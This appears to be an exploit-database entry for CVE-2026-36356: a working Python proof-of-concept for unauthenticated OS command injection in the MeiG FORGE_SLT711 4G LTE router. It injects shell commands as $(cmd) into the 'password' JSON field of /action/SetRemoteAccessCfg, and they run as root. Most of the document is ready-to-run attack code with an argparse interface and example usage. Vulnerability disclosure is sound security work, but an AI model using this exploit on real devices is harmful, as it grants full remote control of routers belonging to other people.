MeiG Smart FORGE_SLT711 – OS Command Injection
# Exploit Title: MeiG Smart FORGE_SLT711 - OS Command Injection # Date: 2026-05-03 # Exploit Author: Daniil Gordeev # Vendor Homepage: http://www.meigsmart.com # Software Link: N/A (firmware distributed via carrier channels) # Version: Firmware MDM9607.LE.1.0-00110-STD.PROD-1 (likely all firmware versions of this product line) # Tested on: MeiG FORGE_SLT711 (Ortel 4G LTE CPE), Qualcomm MDM9607, Linux 3.18.48 # CVE: CVE-2026-36356 """ Unauthenticated RCE — MeiG FORGE_SLT711 (Ortel 4G LTE CPE) GoAhead /action/SetRemoteAccessCfg OS command injection Vuln: JSON "password" field → sprintf("echo root:\"%s\"|chpasswd") → system() Auth: None (endpoint missing from route.txt auth list) Root: Commands execute as uid=0(root) Type: Blind — output not in HTTP response, use --cmd "cmd > /tmp/out" to exfil Discovered: 2026-02-21 Tested on: FW MDM9607.LE.1.0-00110-STD.PROD-1 """ import argparse import json import sys import urllib.request import urllib.error def exploit(ip: str, cmd: str, port: int = 80, timeout: int = 10) -> bool: url = f"http://{ip}:{port}/action/SetRemoteAccessCfg" payload = json.dumps({"password": f"$({cmd})"}) req = urllib.request.Request( url, data=payload.encode(), headers={"Content-Type": "application/json"}, method="POST", ) try: with urllib.request.urlopen(req, timeout=timeout) as resp: body = resp.read().decode() data = json.loads(body) if data.get("retcode") == 0: print(f"[+] retcode:0 — command executed as root") return True else: print(f"[-] Unexpected response: {body}") return False except urllib.error.URLError as e: print(f"[-] Connection failed: {e}") return False except Exception as e: print(f"[-] Error: {e}") return False def main(): p = argparse.ArgumentParser( description="MeiG SLT711 GoAhead unauthenticated RCE (blind)", epilog="Example: %(prog)s --ip 192.168.1.1 --cmd 'id > /tmp/out'", ) p.add_argument("--ip", default="192.168.1.1", help="Target IP (default: 192.168.1.1)") p.add_argument("--port", type=int, default=80, help="Target port (default: 80)") p.add_argument("--cmd", required=True, help="Command to execute as root (blind, no output returned)") p.add_argument("--timeout", type=int, default=10, help="HTTP timeout in seconds (default: 10)") args = p.parse_args() print(f"[*] Target: {args.ip}:{args.port}") print(f"[*] Command: {args.cmd}") print(f"[*] Payload: $({{cmd}}) inside password field") ok = exploit(args.ip, args.cmd, args.port, args.timeout) sys.exit(0 if ok else 1) if __name__ == "__main__": main() |